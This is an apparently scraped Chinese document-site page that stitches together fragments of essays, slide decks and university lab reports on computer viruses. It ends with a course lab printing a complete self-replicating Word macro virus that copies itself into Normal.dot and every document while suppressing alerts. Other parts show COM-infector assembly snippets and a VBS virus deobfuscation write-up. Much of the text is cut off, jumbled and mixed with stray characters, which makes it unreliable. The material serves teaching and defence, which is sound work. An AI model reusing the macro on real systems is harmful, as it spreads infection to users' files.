实验三 脚本病毒和宏病毒分析
计算机病毒解析与防范
浅谈计算机病毒的解析与防范
[摘要] 全球信息网络的建设和发展，对整个社会的科学与技术、经济与文化、军事带来了巨大的推动和冲击，同时也给网络的安全运行带来更多的挑战。资源共享和信息安全是一对孪生矛盾。一般认为，计算机网络系统的安全运行来自计算机病毒的攻击。因此，研究计算机病毒与防治就显得很有现实意义。本文将从计算机病毒的研究背景、计算机病毒的定义、特征、类型以及防治方面进行简单的分析和探讨。
[关键词] 计算机病毒防范
引言
计算机网络是信息社会的基础，已经进入了社会的各个角落，经济、文化、军事和社会生活越来越多的依赖计算机网络。然而，计算机在给人们带来巨大便利的同时，也带来了不可忽视的问题，计算机病毒给网络系统的安全运行带来了极大的挑战。2003年1月25日，突如其来的“蠕虫王”病毒，在互联网世界制造了类似于“9.11”的恐怖袭击事件，很多国家的互联网也受到了严重影响。同样，前两年李俊制作的“熊猫烧香”病毒再次为计算机网络安全敲起了警钟。据美国计算机权威组织报告，全球已发现的计算机病毒总和超过6万多种，而且每天还有100多种以上的新病毒问世，同时计算机病毒在2000年造成的全球经济损失高达1.6万亿美元。因此，研究计算机病毒与防治就显得极具紧迫，意义重大。
一、计算机病毒的内涵、类型
计算机病毒(computer virus )在《中华人民共和国计算机信息系统安全保护条例》中被明确定义为：“指编制或者在计算机程序中插入的破坏计算机功能或者破坏数据，影响计算机使用并且能够自我复制的一组计算机指令或者程序代码”。也可以讲计算机病毒是一个程序，一段可执行码。就像生物病毒一样，计算机病毒有独特的复制能力。计算机病毒可以很快地蔓延，又常常难以根除。它们能把自身附着在各种类型的文件上。当文件被复制或从一个用户传送到另一个用户时，它们就随同文件一起蔓延开来。在最近几年，产生了以下几种主要病毒：
宏病毒分析实验(新)
---------------------------------------------------------------最新资料推荐------------------------------------------------------
宏病毒分析实验(新)
宏病毒分析实验一、实验目的及要求：
通过本实验的学习，大家应该理解宏病毒的概念、病毒机制、编写方法、传播手段以及预防处理措施。
二、实验基本原理：
宏病毒是也是脚本病毒的一种，由于它的特殊性，因此在这里单独算成一类。
宏病毒的前缀是：
Macro，第二前缀是：
Word、 Word97、 Excel、 Excel97（也许还有别的）其中之一。
凡是只感染 WORD97 及以前版本 WORD 文档的病毒采用 Word97 做为第二前缀，格式是：
Macro. Word97；凡是只感染 WORD97 以后版本 WORD 文档的病毒采用 Word 做为第二前缀，格式是：
Macro. Word；凡是只感染 EXCEL97 及以前版本 EXCEL 文档的病毒采用 Excel97 做为第二前缀，格式是：
Macro. Excel97；凡是只感染 EXCEL97 以后版本 EXCEL 文档的病毒采用 Excel做为第二前缀，格式是：
Macro. Excel，依此类推。
该类病毒的公有特性是能感染 OFFICE系列文档，然后通过OFFICE 通用模板进行传播，如：
1 / 5
著名的美丽莎(Macro. Melissa) 。
一个宏的运行, 特别是有恶意的宏程序的运行, 受宏的安全
对一个vbs脚本病毒的病毒原理分析
对⼀个vbs脚本病毒的病毒原理分析
⼀、前⾔
病毒课⽼师丢给我们⼀份加密过的vbs脚本病毒的代码去尝试分析，这⾥把分析过程发出来，供⼤家参考，如果发现⽂中有什么错误或者是有啥建议，可以直接留⾔给我，谢谢！
⼆、⽬录
整个分析过程可以分为以下⼏个部分:
0x00 准备⼯作
0x01 解密部分
0x02 功能分析
三、分析过程
0x00 准备⼯作
windows xp的虚拟机(在⾃⼰的windows下也可以做)
vbs的⼀些基本语法
0x01 解密部分
右击病毒⽂件然后编辑打开或者是直接把其后缀修改成txt直接打开都⾏，可以看到⼀⼤段密⽂，并调⽤了⼀个函数deCrypt。暂时只看到这些，那么接着往下看吧。
拖到代码底部，发现有deCrypt了⼀次，也就是经过了两次加密，这⾥把执⾏部分注释掉，然后将解密的结果输出到⽂本⽂件中去。另外，可以看到是⽤base64进⾏的加密的。
现在来看看解码后的结果。发现依旧是不可阅读的代码，那就继续看看他是怎么处理的吧。
这⾥可以看到是将之前的字符串按“|dz|”划分，然后得到的是ascii码，将这些ascii码对应的字符拼接起来就好了，就得到了结果。同样的套路将解密结果输出到⽂件中去再继续分析。
然后这次得到的结果是真正的病毒代码了。接下来对他的功能进⾏分析。
0x02 功能分析
从头开始看吧。显⽰⼀些配置信息，包括了服务器的域名。可以查到服务器是美国的，尝试ping了下，ping不通，可能是服务器作了设置不让⼈ping、也可能是服务器已经不⽤了、也有可能是我国的防⽕长城直接墙掉了。。。
然后是⼀些之后要⽤到的变量，这⾥不作过多的解释。
2024版计算机病毒
一些病毒还会利用电子邮件的自 动转发功能，将病毒传播给更多
的用户。
电子邮件中的恶意链接也可能导 致用户感染病毒。
恶意网站挂马传播
黑客将一些恶意代码嵌入到正常的网页中，当用户访问这些网页时，恶意代码就会 自动运行并感染用户的计算机。
一些病毒还会利用网站的自动下载功能，将病毒文件下载到用户的计算机上并自动 运行。
启发式分析的应用
可发现未知病毒和变种病毒，提高病毒检测的准确性和全面性。
沙盒环境模拟运行检测法
沙盒环境构建
创建一个与真实系统环境隔离的虚拟环境，模拟 真实系统的运行。
待检测文件运行
在沙盒环境中运行待检测文件，观察其行为和结 果。
行为结果分析
对沙盒环境中的文件操作、注册表操作、网络行 为等进行分析，判断其是否为恶意行为。
扫描与比对
对待检测文件进行扫描， 将其与特征库中的特征码 进行比对，判断是否匹配。
启发式分析技术原理及应用
静态启发式分析
通过对病毒文件的静态属性（如文件大小、节区结构、代码特征 等）进行分析，判断其是否具有病毒特征。
动态启发式分析
在虚拟环境中运行待检测文件，观察其行为（如注册表操作、文件 操作、网络行为等），判断其是否具有病毒行为特征。
THANKS
物联网病毒
随着物联网设备的普及，物联网病毒可能会成为新的威胁。这些病毒可能会利用物联网设备的漏洞进行传播 和攻击，导致设备被控制或数据泄露。
文件型病毒的原理实例和检测
: :
• pop si • sub si,offset locate • mov ax,word ptr ds:first_3byte[si] • mov ds:[100h],ax • mov al,ds:first_3byte[si+2] •mov ds:[102h],al
感染COM文件的一种方法
•
├ JMP XXXX:XXXX ┤
• -----------------------------
• ├ 原程序 ┤
• -----------------------------
• ├ 病毒 ┤
• -----------------------------
文件型病毒举例—CIH
• 假设要检测的文件为：c:\\sampleV.exe • 用程序来实现，代码如下：
• # include # include
• bool scanvir(const char *file,long offset, int length, void *vir);
• main()
• { int i; unsigned char vir[]=
汇编virus代码实例
• 该病毒文件感染的是同目录下名为mycom1 的com文件
– 目标文件（要感染的文件）：mycom1.com – 病毒文件：virus1.com
计算机病毒毕业论文
计算机病毒毕业论文
范文一：计算机病毒网络传播论文
1计算机病毒的起源
随着计算机技术的发展，病毒的类型越来越多，对病毒的定义也越来越广义，即“为
了达到特殊目的而制作的计算机程序或者代码”，这又意味着凡是人为进行编译的程序，
并对计算机的正常运行产生了干扰，造成了计算机软件或者硬件出现故障，甚至是一些能
够破坏计算机数据自我复制的程序或者代码都归类于病毒，我国从法律上定义计算机病毒
是在1994年2月正式提出，计算机病毒是指编制或者直接嵌入到计算机程序中破坏计算
机的功能或者破坏数据，让计算机无法正常使用程序或代码，根据这个定义，我国就将计
算机木马、蠕虫等破坏性程序纳入到病毒的范畴中进行研究。
2计算机病毒的特征
随着计算机网络技术的发展，编译人员的编程能力也在不断的变化和进步，所以计算
机病毒的种类多种多样，其特征也各不相同。但总体来说，计算机病毒的主要特征主要包
括了以下几个方面：传染性、可执行性、破坏性、隐蔽性、非授权性、可触发性等，随着
计算机编译技术的发展，近年来的计算机病毒还新增了许多特性，如：诱骗性、变形性、
抗分析性、远程控制性、攻击手段多样性、攻击目标多元性等，以下简单分析几种计算机
病毒的特性。
1非授权性我们知道正常的程序都是由用户主动进行调用
然后在计算机上给用户操作提供软件和硬件上的支持，直到用户完成操作，所以正常
程序是符合用户主观意愿的，可见并透明的，而对于计算机病毒来说，病毒首先是隐藏的，用户一般是不知情的，当用户使用被感染的正常程序时，实践上病毒优先得到了计算机的
控制权，病毒执行的操作也是用户不知情的，其执行的结果用户也是无法得知的。
2024年度-信息技术计算机病毒ppt课件
脚本病毒
通过脚本语言（如VBScript、 JavaScript等）编写的病毒，在浏览 网页或执行脚本时运行。
传播方式
通过文档交换、电子邮件附件、恶意 网站等途径传播。
典型代表
Melissa病毒、ILOVEYOU病毒等。
10
网络蠕虫和木马程序
网络蠕虫
木马程序
利用计算机网络进行传播的病毒，通过扫 描网络漏洞、发送带毒邮件等方式传播。
25
行业合作共同应对挑战
跨行业合作
政府、企业和研究机构应加强合作，共同应对计算机病毒威胁。
信息共享与威胁情报
建立信息共享机制，及时分享威胁情报和最佳实践，提高整体防御 水平。
国际合作与交流
加强国际间的合作与交流，共同应对跨国界的计算机病毒威胁。
26Байду номын сангаас
THANKS
感谢观看
27
信息技术计算机病毒ppt课件
1
contents
目录
• 计算机病毒概述 • 计算机病毒分类及原理 • 传播途径与防范措施 • 检测技术与方法探讨 • 典型案例分析与实践经验分享 • 未来趋势预测与挑战应对
2
01
计算机病毒概述
3
定义与特点
定义
计算机病毒是一种恶意软件，能 够在计算机系统内进行自我复制 并传播，从而破坏数据、干扰计 算机操作或占用系统资源。
课程思政融入信息安全专业课程《软件安全》的教学实践
时，需加强学生思政方面的教育，使其在断网环境和虚 拟机环境内复现，确保安全。
3.2 兴趣小组的拉动作用还需深入挖掘 《软件安全》教师加强与兴趣小组的实践交流沟通， 将优秀的事件案例安排进入课程讲授实例教案或实验验 证中，这样使得对同专业非兴趣小组同学按照步骤复现 学习，提升对专业的热爱兴趣。同时，兴趣小组与我校 网络中心建立联系，在诸如 4.29 网络安全日等限定时 间，允许学生实战测试我校网络系统的安全性，并根据 上报测试结果给予奖励。这能够提升兴趣小组的拉动性， 最终形成以点带面局面，带动更多的信息安全专业学生 加强对专业知识的学习兴趣。 4 结语 本文以北方工业大学信息专业骨干课程《软件安全》 为例，探讨了信息安全专业学生的学习效果分类并分析 了原因。在知识的学习和实践经验研讨中，阐述了思政 入课的必要性和对《软件安全》课程教学的必要性以及 正向促进性。
39 Copyright©博看网. All Rights Reserved.
第 41 卷 第 10 期 2023 年 10 月
计算机宏病毒分析报告及清除实验
计算机宏病毒分析及清除实验
一、实验目的
1.了解“宏病毒”机理。
2.掌握清除宏病毒的方法。
3.掌握采用“宏”和脚本语言进行编程的技术。
二、实验环境
1.Windows XP操作系统。
2.Office Word 2010字处理软件。
三、实验要求
1.宏的编写。
2.理解宏病毒的作用机制。
四、实验内容与步骤：
1．软件设置
首先检查电脑里杀毒软件是否开启，如果开启需要关闭它。然后打开一个word 文档（我直接打开的“计算机宏病毒分析及清除实验”），依次单击“文件”——“选项”，然后在弹出的“word选项”对话框中单击“信任中心”，然后再单击“信任中心设置”——“宏设置”。选择“启用所有宏”，“信任对VBA工程对象模型的访问”。
2．宏病毒实现自我复制功能
打开一个word文档（我打开的“计算机宏病毒分析及清除实验”），然后按Alt+F11调用宏编写窗口,在左侧菜单栏中依次单击“project（计算机宏病毒分析及清除实验）”—“Microsoft Word对象”—“ThisDocument”，在这里输入实验代码单击“保存”，这时该文档就含有了宏病毒，然后单击“执行”，就立刻弹出一个窗口，第二次打开该文档，就自动执行以上代码，并将自身复制到Normal.dot 和当前文档的ThisDocument中，此时所有的word文档关闭时，都将运行以上的病毒代码，产生影响。我又新建立了一个名字为“111”的word文档，打开后关闭就弹出一个提示框。代码如下：
'Macro-1：Micro-Virus
Sub Document_Open()
恶意程序
恶意程序
一、分类
1.单一功能病毒：计算机病毒是指编制或在计算机程序中插入的破坏计算机功能或毁坏数据，影响计算机使用，并能够自我复制的一组计算机指令或程序代码。
特点：破坏性、传染性、隐藏性、寄生性、潜伏性、欺骗性。
（1）文件感染病毒：主要感染计算机中.exe或.doc等可执行程序。
（2）宏病毒：是一种专门寄生在具有宏功能的文档或模板中的计算机病毒。
（3）引导型病毒：引导型病毒将其代码写入MBR主引导去（硬盘0头0柱面第一个扇区）或BR引导区（硬盘逻辑0扇），将其真正的引导区内容转移或替换。
（4）邮件型病毒：主要通过电子邮件传播。
2.木马
木马是指通过伪装欺骗手段诱使用户安装运行，但不具有复制、传播能力的恶意代码。主要功能是对远端目标主机实现远程控制。
木马和病毒的主要区别：木马没有病毒的繁殖性和自动感染功能，而病毒往往不具备远程控制功能。
3.蠕虫
蠕虫是指可以通过网络等途径，自动将自身的全部代码或部分代码通过网络复制、传播给其他网络中计算机的完全独立可运行程序。
不同于病毒的是不需要宿主文件。
组成：主程序、引导程序。
防护：及时打补丁。蠕虫没有扩散可用的漏洞，就无法自动扩散。
4.恶意脚本
可以直接对浏览器中的首页信息等进行修改和控制，甚至实施网站挂马、主页替换、跨站点脚本攻击等恶意操作。
载体是Web系统。所以，对Web系统进行有效的防范是防止恶意脚本攻击的根源。5.综合性病毒
具备多种感染传播功能才能实现，这种病毒即为综合型病毒
二、恶意程序的传播方式和破坏功能
1.恶意程序的传播方法：网站挂马、诱骗下载、通过移动存储介质传播（自动播放文件autorun.ini）、通过电子邮件和即时通信软件传播、通过局域网传播（利用局域网其他计算机中网络服务程序的漏洞和共享机制实现传播）。
网络安全实验报告
};
fclose(fpr);
fclose(fpw);
}
}
实验步骤：
1.新建文件my.txt，如下图：
3.输入e进行加密，如下图：
加密后的文件如下：
加密后的文件名：my.txt
4.进行解Байду номын сангаас，如下图：
输入d,解密后如下：
最后解密成功。
六、实验心得
（3）开启审核策略
开始--＞管理工具--＞本地安全策略--＞本地策略--＞审核策略；在右边的窗口中双击审核过程追踪，将成功和失败都勾选。
（开启密码策略，开启账户策略，设置账户策略操作步骤如上。）
三、安全配置高级篇
•高级篇介绍操作系统安全信息通信配置，包括十四条配置原则：
•关闭DirectDraw、关闭默认共享
{
printf("Please input filename you want to decryption:\n");
scanf("%s",filename1);
printf("Please input new filename for decryption:\n");
scanf("%s",filename2);
void main()
2024年度《计算机病毒与防治》PPT课件
2024/3/23
1
目
CONTENCT
录
2024/3/23
• 计算机病毒概述 • 计算机病毒分类及原理 • 传播途径与感染方式 • 预防措施与策略部署 • 检测方法与技术手段 • 清除方法与工具介绍 • 总结回顾与未来展望
2
01
计算机病毒概述
2024/3/23
3
定义与特点
12
网络传播
电子邮件附件
病毒可通过电子邮件附件进行传播，用户打开或下 载附件时即可能感染病毒。
恶意网站
访问被挂马或包含恶意代码的网站，可能导致病毒 通过浏览器漏洞侵入用户计算机。
即时通讯工具
通过即时通讯软件如QQ、微信等发送的文件或链接 ，可能包含病毒。
2024/3/23
13
存储介质传播
80%
U盘、移动硬盘
软件的入侵。
17
企业级安全防护方案
2024/3/23
建立完善的安全策略
制定详细的安全政策和流程，包括数据备份、密码策略、网络访 问控制等。
使用专业的安全设备和服务
部署防火墙、入侵检测系统（IDS/IPS）、安全事件管理（SIEM） 等高级安全设备和服务来保护企业网络。
定期安全评估和演练
进行定期的安全评估和渗透测试，发现潜在的安全风险，并制定相 应的应对措施。
防灾科技学院2017-2018病毒实验
脚本病毒实验
【实验环境】
Windows实验台
【实验步骤】
打开Windows实验台，点击桌面“病毒实验”，选择“脚本病毒实验”，进入其实施面板，如图2.4.1-2所示。
图2.4.1-2
一、脚本病毒代码分析和查看
分别选择相应的脚本文件，学生用户即可查看脚本病毒代码。在界面左侧功能选择区选择实验名称，用户在界面右侧将会看到该脚本病毒的全部代码。如图2.4.1-3所示。
图2.4.1-3
学生用户如需要编辑脚本病毒代码，用户在界面右侧将会看到该脚本病毒的全部代码，在此基础上编辑代码，将会生成用户自定义的脚本病毒，点击“保存脚本”按钮将把编辑好的脚本文件永久保存，如果编辑过程出现错误或者异常，点击“重置脚本”将恢复最初的脚本代码。
实验进行前，要先点击“初始化病毒工具”按钮，对其实验所需的工具进行初始化；在实验过程中，如果所需的工具被杀毒软件查杀，要再次点击“初始化病毒工具”按钮，对工具重新进行初始化，以便实验顺利进行。
脚本实现的步骤为：执行(或恢复)脚本；关闭EXPlorer进程；打开EXPlorer进程；查看脚本是否生效。
二、病毒攻击实验1 ----复制病毒副本到系统文件夹
(1)在界面左侧功能选择区选择实验名称“复制病毒副本到系统文件夹”。
(2)开始进行实验，运行脚本病毒代码，然后打开系统目录，如图2.4.1-4所示，可以看
到病毒副本(Win32system.vbs)已经出现。
图2.4.1-4
(3)开始恢复实验，运行恢复代码，如图2.4.1-5所示；然后再次查看系统目录，用户会
发现刚刚出现的病毒副本文件已经被清除。
实验3 宏病毒
XI`AN TECHNOLOGICAL UNIVERSITY 实验报告
一．实验目的
1.理解WORD宏病毒的感染方式
2.理解WORD宏病毒的工作原理
3.掌握WORD宏病毒的杀毒方法
二．实验原理
WORD的文件建立是通过模板来创建的，模板是为了形成最终文档而提供的特殊文档，模板可以包括以下几个元素：菜单、宏、格式(如备忘录)等。模板是文本、图形和格式编排的蓝图，对于某一类型的所有文档来说，文本、图像和格式编排都是类似的。
WORD提供了几种常见文档类型的模板，如备忘录、报告和商务信件。你可以直接使用模板来创建新文档，或者加以修改，也可以创建自己的模板。一般情况下，WORD自动将新文档基于缺省的公用模板NORMAL.DOT。由此可以看出，模板在建立整个文档中起的作用是作为基类，文档继承模板的属性，包括宏、菜单、格式等。
另外，WORD还提供强大的宏功能。宏是能组织到一起作为一个独立命令使用的一系列WORD命令，它能使日常工作变得更容易。
在WORD启动时，会自动加载NORMAL.DOT模板，以及它们所包含的宏。您可以为宏指定特殊的名称，使其变为自动宏，以便在执行某一操作时，如：启动WORD或打开文档，就自动执行具有特殊命名的宏。
同其他宏一样，你可以将自动宏定义在一个共用模板上，也可以将其定义在一个特定模板上。
宏病毒主要寄生在以下3个宏中：AUTOOPEN、AUTONEW、AUTOCLOSE。带病毒文档打开时，将病毒传染给NORMAL.DOT公用模板中，再由公用模板传染给所有其它正常的文档。
二．MOTHERSDAYVIRUS病毒感染机制
计算机病毒实验
计算机病毒实验报告
一、实验目的
（1）掌握常见几种病毒的基本原理
（2）掌握清除病毒的方法
（3）学会使用几种常见病毒进行基本编程的技术
二、实验内容
分别用PE病毒，欢乐时光脚本病毒，梅丽莎宏病毒，台湾宏病毒，万花谷脚本病毒，网络炸弹脚本病毒进行感染和病毒清除实验。
三、实验环境
信息安全综合实验系统
操作系统：WINDOWS2000
JDK版本：Java Standard Edition 以上
数据库：Mysql
开发语言：JSP
Web服务器:Tomacat
Office版本:MS office2000/2003
四、实验结果
1、网络炸弹
（1）实验原理
网页恶意代码确切的讲是一段黑客破坏代码程序，它内嵌在网页中，当用户在不知情的情况下打开含有病毒的网页时，病毒就会发作。这种病毒代码镶嵌技术的原理并不复杂，所以会被很多怀不良企图者利用，使非常多的用户遭受损失。
“网络炸弹”是一种网页恶意代码，可以无限次得弹出固定窗口来达到侵占客户机系统资源，最终导致客户端死机的结果。
（2）结果演示
1、修改IE的安全级别
图1 修改IE安全级别
2、修改注册表的安全设置
图2 修改IE安全设置3、网络炸弹感染
图3 网络炸弹感染
4、网络炸弹源码
图4 网络炸弹源码
2、万花谷脚本病毒
（1）实验原理
脚本病毒(俗称“万花谷”病毒)实际上是一个含有恶意脚本代码的网页文件，其脚本代码具有恶意破坏能力，但并不含有传播性。实验病毒为模仿它所写成的类“万花谷”病毒,减轻了病毒危害。
（2）结果演示
1、修改IE的安全级别
2、万花谷病毒感染
图5 万花谷病毒感染-1
实验五（选做一）计算机病毒网络与信息安全实验报告
实验五（选做一）计算机病毒
同组实验者实验日期成绩
练习一PE病毒
实验目的 1.了解文件型病毒的原理；2.了解PE文件结构；3.了解文件型病毒的发现方法；
4.了解病毒专杀工具的基本原理
实验人数每组2人
系统环境 Windows
网络环境交换网络结构
实验工具 LaborDayVirus、OllyDBG、PE Explorer、UltraEdit-32
实验类型验证型
一、实验原理
详见“信息安全实验平台”，“实验26”，“练习一”。
二、实验步骤
本练习由单人为一组进行。首先使用“快照X”恢复Windows系统环境。
一．验证利用OllyDBG修改病毒感染程序
（1）进入实验平台，单击工具栏“实验目录”按钮，进入文件型病毒实验目录。新建文件夹“text”，将文件夹“hei”下的hei0.exe（未感染病毒的可执行程序）复制到text目录中。点击工具栏“LaborDayVirus”按钮，将目录中的LaborDayVirus.exe也复制到text目录中。将系统时间调整为5月1日，双击text目录下LaborDayVirus.exe感染hei0.exe文件，观察hei0.exe感染病毒前后的大小变化。
（2）单击工具栏“OllyDBG”按钮启动ollyDbg1.10，单击文件菜单中的“打开”项，选择要修复的hei0.exe。由于病毒修改了原程序的入口点，因此会有程序入口点超出代码范围的提示，如图1所示。
图1 入口点警告提示
单击“确定”按钮继续，程序会停在病毒修改后的程序入口点（hei0.exe的入口点为0x00403200）上，在代码中找到最后一个jmp指令处（病毒感染完成后将跳转回原程序），按F2设置断点，按F9运行，程序会在刚设置的jmp断点上中断，查看EAX寄存器的值（EAX=0x401000注意上面提到的断点，下面还会用到），按F7单步执行到下一条指令地址，点选鼠标右键或选择“插件”菜单项，选择菜单中的用ollyDump脱壳调试进程，选中重建输入表方式1，方式2各脱壳一次，分别保存为1.exe、2.exe。测试两个程序是否还具有病毒的传染特性：__________________________________________________
- 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
实验三脚本病毒和宏病毒分析
一、实验目的
通过这项实验旨在使学生掌握Office下宏病毒的基本原理，主要包括它的传染机制、破坏机制以及怎样清除Office下的宏病毒。
二、实验环境
操作系统环境：Windows98/NT/2000/XP 编程环境：Office VBA
三、实验基础知识要求
Office VBA编程环境
四、实验任务
1．任务性质：验证性实验
2．任务描述：下面的示例中给出的是一个Word宏病毒的示例程序（只有传染模块），仔细阅读源程序，掌握Word宏病毒的传染过程。
3．任务步骤：
（1）打开Word2000，新建一个文档名为“test”；
（2）点击“工具－宏－宏”，在对话框“宏的位置”选择“test”，在宏名中输入“autoclose”，然后点击“创建”按钮；
（3）在VBA编辑环境中输入示例程序中给出的代码，并保存，然后退出VBA；
（4）点击“工具－宏－宏”，在对话框中点击“管理器”按钮，在管理器对话框中点击“宏方案项”标签；在宏方案项有效范围的“test.doc”中将“NewMacros”改名为“AOPEDMOK”；
（5）点击“工具－宏－安全性”，在安全性对话框中的安全级标签中选择“低”，在可靠性来源标签中选择“信任对VB项目的访问”；
（6）保存并关闭“test”文档；
（7）新建一个文档test1，关闭后重新打开，观察test1是否被感染。
（8）清除此宏病毒，即要同时删除normal模板、所有活动模板、和染毒文件的autoclose 宏。
4．示例程序
Sub autoclose()
' autoclose Macro
' 宏在2005-8-26 由jingjd 创建
On Error Resume Next
Application.DisplayAlerts = wdAlertsNone
Application.EnableCancelKey = wdCancelDisabled
Application.DisplayStatusBar = False
'Options.VirusProtection = False
Options.SaveNormalPrompt = False
Const VirusName = "AOPEDMOK"
'MsgBox ActiveDocument.VBProject.VBComponents.Item(2).Name
'MsgBox ActiveDocument.VBProject.VBComponents(2).Name
Set Doc = ActiveDocument.VBProject.VBComponents
Set Tmp = NormalTemplate.VBProject.VBComponents
Const ExportSource = "E:\aopedmok.txt"
For j = 1 To Doc.Count
If Doc(j).Name = VirusName Then
DocInstalled = 1
Doc(j).Export ExportSource
End If
Next j
For i = 1 To Tmp.Count
If Tmp(i).Name = VirusName Then
TmpInstalled = 1
Tmp(i).Export ExportSource
End If
Next i
If TmpInstalled = 0 Then
Tmp.Import ExportSource
NormalTemplate.Save
End If
If DocInstalled = 0 Then
Doc.Import ExportSource
ActiveDocument.SaveAs ActiveDocument.FullName End If
MsgBox "HaHa,you are attacked!", 0, "Word,Macro"
End Sub
五、实验报告要求
1．写出实验过程和病毒感染后的现象；
2．试分析宏病毒的破坏模块应该怎样编写；
3．总结宏病毒的预防方法